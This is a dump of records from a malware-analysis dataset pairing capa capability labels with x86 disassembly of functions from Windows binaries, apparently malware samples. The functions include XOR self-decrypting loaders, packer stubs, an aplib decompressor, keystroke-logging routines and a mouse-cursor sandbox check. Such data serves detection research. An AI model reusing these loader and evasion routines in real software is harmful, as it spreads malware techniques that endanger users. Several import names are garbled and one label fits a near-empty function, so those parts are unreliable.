joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ed50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42ed7b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x42ed9f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42edba
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x432e9b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x432ebd
cmp dword [edi + 0x3c], 0
jne 0x432ebd
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0043b9d5
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00432eea
pop edi
pop esi
pop ebx
ret 8

Function at 0x4344f1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x434529
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00432bec
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00432bc4
jmp 0x434535
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x435ae8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x435b2a
call fcn.0043b9d5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x435b2a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x435b21
xor eax, eax
jmp 0x435b32
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00435b38
pop edi
pop esi
pop ebx
ret 4

Function at 0x43a3d8
Capabilities:
Create http request

Disassembly:
mov eax, 0x441114
call fcn.0041fc5c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x43a410
call fcn.0043b9d5
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x43a435
push eax
push dword [esi + 4]
call fcn.0043b15f
jmp 0x43a441
push esi
push eax
mov ecx, 0x458388
call fcn.0043a452
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x43a5b2
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x44114f
call fcn.0041fc5c
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00437b3e
mov eax, dword [0x453b24]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x458388
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.0043a452
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.00432934
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.00416dc4
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.004328e4
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.004327ab
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40c279
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40c288
pop dword [ebp - 0x38]
mov eax, 0x5f10dda7
add eax, 0xa12fe4e1
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xe2327371
sub dword [ebp - 0x48], 0x93e02e26
mov dword [ebp - 0x44], 0x15ca6c17
sub dword [ebp - 0x44], 0xe3971fd2
mov dword [ebp - 0x40], 0x74c9004
add dword [ebp - 0x40], 0x44ffb42a
mov dword [ebp - 0x3c], 0xe2e9bc72
sub dword [ebp - 0x3c], 0xe2e9bc72
lea eax, [ebp - 0x48]
push eax
mov eax, 0x84e218e2
sub eax, 0x849fe86e
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x32384e
sub dword [ebp - 0x48], 0x8bbfcef8
mov dword [ebp - 0x44], 0x4fea350d
add dword [ebp - 0x44], 0xf1822c68
mov dword [ebp - 0x40], 0xb1dc5fdd
add dword [ebp - 0x40], 0xb1930c8f
mov dword [ebp - 0x3c], 0x5f25f831
sub dword [ebp - 0x3c], 0x5f25f831
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x8b04fd6e
sub eax, 0x8ac2cc4a
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3f8ef
push 0
call eax
mov ecx, 0x4f7d
mov esi, eax
mov edi, 0xbfca2220
sub edi, 0xbf86de20
add edi, dword [ebp - 0x38]
mov ebx, 0xeb31f2b
add dword [ebp - 0x2c], 0xacf45c65
mov edx, dword [edi]
xor dword [ebp - 0x2c], 0xe7bd82cc
xor edx, ebx
xor dword [ebp - 4], esi
mov dword [esi], edx
mov dword [ebp - 0x14], 0x84ae1f68
add esi, 4
add edi, 4
loop 0x40c39e
add eax, 0xa24ec9bc
sub eax, 0xa24d98f5
mov ebx, eax
add eax, 0xd513de81
add eax, 0x2aec2184
mov ecx, 0x56abb52e
sub ecx, 0x566bb52e
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x420334b6
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x3f4a7c9b
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x401c66
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x882e188
sub dword [ebp - 0x48], 0xba309c3d
mov dword [ebp - 0x44], 0xb362f30d
add dword [ebp - 0x44], 0x7ed05938
mov dword [ebp - 0x40], 0xa29ca1e2
add dword [ebp - 0x40], 0xa9afa24c
mov dword [ebp - 0x3c], 0xb44b6b0b
sub dword [ebp - 0x3c], 0xb44b6b0b
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x63e35c88
sub dword [ebp - 0x48], 0xef70f332
mov dword [ebp - 0x44], 0x6f280e90
sub dword [ebp - 0x44], 0x2dbbad1b
mov dword [ebp - 0x40], 0x655d2b3b
add dword [ebp - 0x40], 0xfe124131
mov dword [ebp - 0x3c], 0x5c18576f
add dword [ebp - 0x3c], 0xa3e7a891
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x73533518
add eax, 0x8cecfb14
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x37ce2
push 0
call eax
mov ecx, 0x4d4c
xor ebx, ebx
add ebx, eax
mov edx, 0x407000
add edx, dword [ebp - 0x38]
mov edi, 0x22bf8c1a
add edi, 0x68ca3c04
mov dword [ebp - 0xc], 0x38bbcd15
mov esi, dword [edx]
xor dword [ebp - 0x28], edx
add esi, edi
xor dword [ebp - 0x24], edx
mov dword [ebx], esi
xor dword [ebp - 8], 0x28b3ba6d
add ebx, 0xffa4e79b
sub ebx, 0xffa4e797
add edx, 0x9a1e9172
sub edx, 0x9a1e916e
loop 0x401d74
add eax, 0xb1056123
add eax, 0x4efbc6e0
xor ebx, ebx
add ebx, eax
add eax, 0x3834d73a
add eax, 0xc7cb28cb
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x104bc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.104bc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104bc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104bc06a
add dl, dl
jne 0x104bc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104bc0dc
xor eax, eax
add dl, dl
jne 0x104bc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104bc17d
add dl, dl
jne 0x104bc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104bc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104bc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104bc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104bc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104bc075
mov eax, 1
add dl, dl
jne 0x104bc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104bc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104bc0e1
sub eax, ebx
mov ebx, 1
jne 0x104bc128
mov ecx, 1
add dl, dl
jne 0x104bc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104bc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104bc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104bc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104bc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104bc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104bc136
cmp eax, 0x7d00
jae 0x104bc16d
cmp eax, 0x500
jb 0x104bc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104bc075
cmp eax, 0x7f
ja 0x104bc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104bc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104bc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104bc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40c6d0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c

Function at 0x40f6d0
Capabilities:
Check for unmoving mouse cursor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [ebp]
push edi
cmp esi, 0x80000000
je 0x40f87c
mov edi, dword [esp + 0x24]
mov eax, dword [edi]
cmp eax, 0x80000000
je 0x40f87c
mov edx, dword [0x4a2500]
cmp edx, 2
jne 0x40f74d
movzx ebx, byte [esp + 0x2c]
neg ebx
sbb ebx, ebx
and ebx, 0x80000000
push 0
or ebx, 1
mov edi, eax
call fcn.0040fa50
add esp, 4
call fcn.0040fec0
cmp byte [esp + 0x2c], 0
je 0x40f87c
mov eax, dword [esp + 0x24]
mov dword [ebp], Ordinal_2
mov dword [eax], Ordinal_2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
or dword [ecx], 0x8001
cmp byte [esp + 0x2c], 0
je 0x40f7a3
cmp edx, 1
jne 0x40f789
cmp dword [0x49f960], 0x80000000
jne 0x40f776
push 0x49f960
call dword [sym.imp.USEV32ndll_GetCursorPos]
mov ecx, dword [0x49f960]
add dword [ebp], ecx
mov edx, dword [0x49f964]
add dword [edi], edx
jmp 0x40f7b8
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USEV32ndll_GetCursorPos]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
add dword [ebp], ecx
add dword [edi], edx
jmp 0x40f7b8
mov eax, dword [0x49d3c8]
test byte [eax + 0xc8], 2
jne 0x40f7b8
mov ebx, ebp
call fcn.004652b0
cmp dword [0x4a2500], 1
jne 0x40f7d2
mov ecx, dword [ebp]
mov dword [0x49f960], ecx
mov edx, dword [edi]
mov dword [0x49f964], edx
mov esi, dword [sym.imp.USEV32ndll_C_tSYstemMetrics]
push 0
call esi
push 1
mov ebx, eax
call esi
mov esi, eax
mov eax, dword [ebp]
shl eax, 0x10
cdq
idiv ebx
inc eax
mov dword [ebp], eax
mov eax, dword [edi]
shl eax, 0x10
cdq
idiv esi
lea ecx, [eax + 1]
mov eax, dword [esp + 0x28]
mov dword [edi], ecx
test eax, eax
js 0x40f865
cmp eax, 0x64
jle 0x40f815
mov dword [esp + 0x28], 0x64
jmp 0x40f819
test eax, eax
je 0x40f865
cmp dword [0x4a2500], 1
je 0x40f865
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USEV32ndll_GetCursorPos]
mov ecx, dword [esp + 0x28]
mov edx, dword [edi]
mov eax, dword [ebp]
push ecx
push edx
push eax
mov eax, dword [esp + 0x20]
shl eax, 0x10
cdq
idiv esi
mov esi, eax
mov eax, dword [esp + 0x1c]
shl eax, 0x10
cdq
idiv ebx
lea ecx, [eax + 1]
lea eax, [esi + 1]
call fcn.0044a4d0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov edx, dword [ebp]
push 0x8001
xor eax, eax
call fcn.0040f890
add esp, 4
call fcn.0040fec0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4115c0
Capabilities:
Log keystrokes

Disassembly:
movzx eax, cx
cmp eax, 0x11c
jg 0x411618
je 0x411615
sub eax, 0x1d
cmp eax, 0x36
ja case.0x411629.286
movzx eax, byte [eax + 0x411694]
jmp dword [eax*4 + 0x41164c]
mov al, 0xa0
ret
mov al, 0xa2
ret
mov al, 0xa4
ret
mov al, 0x6a
ret
mov al, 0x6d
ret
mov al, 0x6b
ret
mov al, 0x2e
ret
mov al, 0xc
ret
mov al, 0x2d
ret
mov al, 0x26
ret
mov al, 0x28
ret
mov al, 0x25
ret
mov al, 0x27
ret
mov al, 0x24
ret
mov al, 0x23
ret
mov al, 0x21
ret
mov al, 0x22
ret
mov al, 0xd
ret
sub eax, 0x11d
cmp eax, 0x28
ja case.0x411629.286
movzx edx, byte [eax + 0x4116e4]
jmp dword [edx*4 + 0x4116cc]
mov al, 0xa1
ret
mov al, 0xa3
ret
mov al, 0xa5
ret
mov al, 0x90
ret
mov al, 0x6f
ret
movzx eax, cl
push 1
push eax
call dword [sym.imp.USEV32ndll_MapVirtualKeyA]
ret

Function at 0x411710
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x49f988], eax
mov edx, 1
mov eax, 0x49f988
push edi
mov ecx, dword [eax]
mov edi, ecx
shr edi, 0x1e
xor edi, ecx
imul edi, edi, 0x6c078965
add edi, edx
mov dword [eax + 4], edi
add eax, 4
inc edx
cmp eax, 0x4a0344
jl 0x411724
mov dword [0x49d318], 1
mov dword [0x4a2504], 1
pop edi
ret

Function at 0x411760
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
cmp dword [0x4a2504], 0
push esi
mov esi, 0x49f988
jne 0x41177e
call dword [sym.imp.KERNUL32.dll_GetTickCoun4]
push eax
call fcn.00411710
add esp, 4
mov dword [0x49d318], 0x270
mov dword [0x49f984], esi
mov ecx, 0xe3
mov eax, dword [esi + 4]
mov edx, dword [esi]
xor edx, eax
and edx, 0x7ffffffe
xor edx, dword [esi]
and al, 1
movzx eax, al
shr edx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor edx, eax
xor edx, dword [esi + 0x634]
add esi, 4
dec ecx
mov dword [esi - 4], edx
jne 0x411793
mov ecx, 0x18c
mov eax, dword [esi + 4]
mov edx, dword [esi]
xor edx, eax
and edx, 0x7ffffffe
xor edx, dword [esi]
and al, 1
movzx eax, al
shr edx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor edx, eax
xor edx, dword [esi - 0x38c]
add esi, 4
dec ecx
mov dword [esi - 4], edx
jne 0x4117c8
mov ecx, dword [esi]
mov eax, dword [0x49f988]
xor ecx, eax
and ecx, 0x7ffffffe
xor ecx, dword [esi]
and al, 1
movzx edx, al
shr ecx, 1
neg edx
sbb edx, edx
and edx, 0x9908b0df
xor ecx, edx
xor ecx, dword [esi - 0x38c]
mov dword [esi], ecx
pop esi
ret

Function at 0x411830
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
dec dword [0x49d318]
jne 0x41183d
call fcn.00411760
mov eax, dword [0x49f984]
mov ecx, dword [eax]
add eax, 4
mov dword [0x49f984], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov edx, ecx
and edx, 0xff3a58ad
shl edx, 7
xor ecx, edx
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x411880
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
dec dword [0x49d318]
jne 0x41188d
call fcn.00411760
mov eax, dword [0x49f984]
mov ecx, dword [eax]
add eax, 4
mov dword [0x49f984], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov edx, ecx
and edx, 0xff3a58ad
shl edx, 7
xor ecx, edx
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret

Function at 0x4118d0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ecx
dec dword [0x49d318]
jne 0x4118de
call fcn.00411760
mov ecx, dword [0x49f984]
mov eax, dword [ecx]
add ecx, 4
mov dword [0x49f984], ecx
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov edx, eax
and edx, 0xff3a58ad
shl edx, 7
xor eax, edx
mov ecx, eax
and ecx, 0xffffdf8c
shl ecx, 0xf
xor eax, ecx
mov edx, eax
shr edx, 0x12
xor edx, eax
mov dword [esp], edx
fild dword [esp]
jns 0x411925
fadd qword [0x497ba0]
fmul qword [0x497bf8]
pop ecx
ret
Function at 0x42f4e0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov ecx, dword [0x4a13a4]
push ebx
push esi
push edi
push 1
push 0
push 0xffffffffffffffff
push 0x4916f4
call fcn.004668b0
mov ecx, dword [0x4a09d8]
push 1
push 0
push 0xffffffffffffffff
push 0
mov dword [esp + 0x2c], ecx
call fcn.004668b0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
call fcn.0043b7d0
mov esi, eax
test esi, esi
jne 0x42f542
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push esi
xor bl, bl
call dword [sym.imp.USEV32ndll_GetWindowThrea_PpocessId]
mov edi, eax
test edi, edi
je 0x42f579
cmp edi, dword [0x4a2bbc]
je 0x42f579
call fcn.00468640
test al, al
jne 0x42f579
mov ecx, dword [0x4a2bbc]
push 1
push edi
push ecx
call dword [sym.imp.USEV32ndll_AttachThreadInput]
test eax, eax
setne bl
call dword [sym.imp.USEV32ndll_GetFocus]
mov dword [esp + 0x18], eax
test bl, bl
je 0x42f59b
mov edx, dword [0x4a2bbc]
push 0
push edi
push edx
call dword [sym.imp.USEV32ndll_AttachThreadInput]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x42f534
lea ecx, [esp + 0x20]
push 0xfc
mov edx, ecx
push edx
push eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.USEV32ndll_GetCdasqNaleA]
test eax, eax
je 0x42f534
lea eax, [esp + 0xc]
push eax
push 0x42f640
push esi
mov dword [esp + 0x20], 0
mov byte [esp + 0x1c], 0
call dword [sym.imp.USEV32ndll_EnumChildWindowSetAc4iveWindow]
cmp byte [esp + 0x10], 0
je 0x42f534
mov ecx, dword [esp + 0x14]
push ecx
push 0x490080
mov eax, 0x101
lea ecx, [esp + 0x28]
call fcn.00464030
mov ecx, dword [0x4a13a4]
add esp, 8
push 1
push 0
push 0xffffffffffffffff
push 0x4900b0
call fcn.004668b0
mov ecx, dword [esp + 0x1c]
push 1
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x2c]
push edx
call fcn.004668b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42f6c0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov ecx, dword [0x4a13a4]
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 0
push 0xffffffffffffffff
push 0x4916f4
call fcn.004668b0
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x14]
call fcn.0043b7d0
mov edi, eax
test edi, edi
je 0x42f7a8
mov esi, dword [ebp + 8]
push edi
call fcn.00468140
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x42f7a8
push 0
push edi
mov byte [esp + 0x1b], 0
call dword [sym.imp.USEV32ndll_GetWindowThrea_PpocessId]
mov ebx, eax
test ebx, ebx
je 0x42f754
cmp ebx, dword [0x4a2bbc]
je 0x42f754
mov esi, edi
call fcn.00468640
test al, al
jne 0x42f754
mov ecx, dword [0x4a2bbc]
push 1
push ebx
push ecx
call dword [sym.imp.USEV32ndll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x13]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.USEV32ndll_seFocus]
test eax, eax
je 0x42f791
mov ecx, dword [0x4a13a4]
push 1
push 0
push 0xffffffffffffffff
push 0x4900b0
call fcn.004668b0
mov eax, dword [0x49d3c8]
mov eax, dword [eax + 0x58]
cmp eax, 0xffffffff
jle 0x42f791
push 1
push eax
call fcn.00401340
add esp, 8
cmp byte [esp + 0x13], 0
je 0x42f7a8
mov ecx, dword [0x4a2bbc]
push 0
push ebx
push ecx
call dword [sym.imp.USEV32ndll_AttachThreadInput]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x14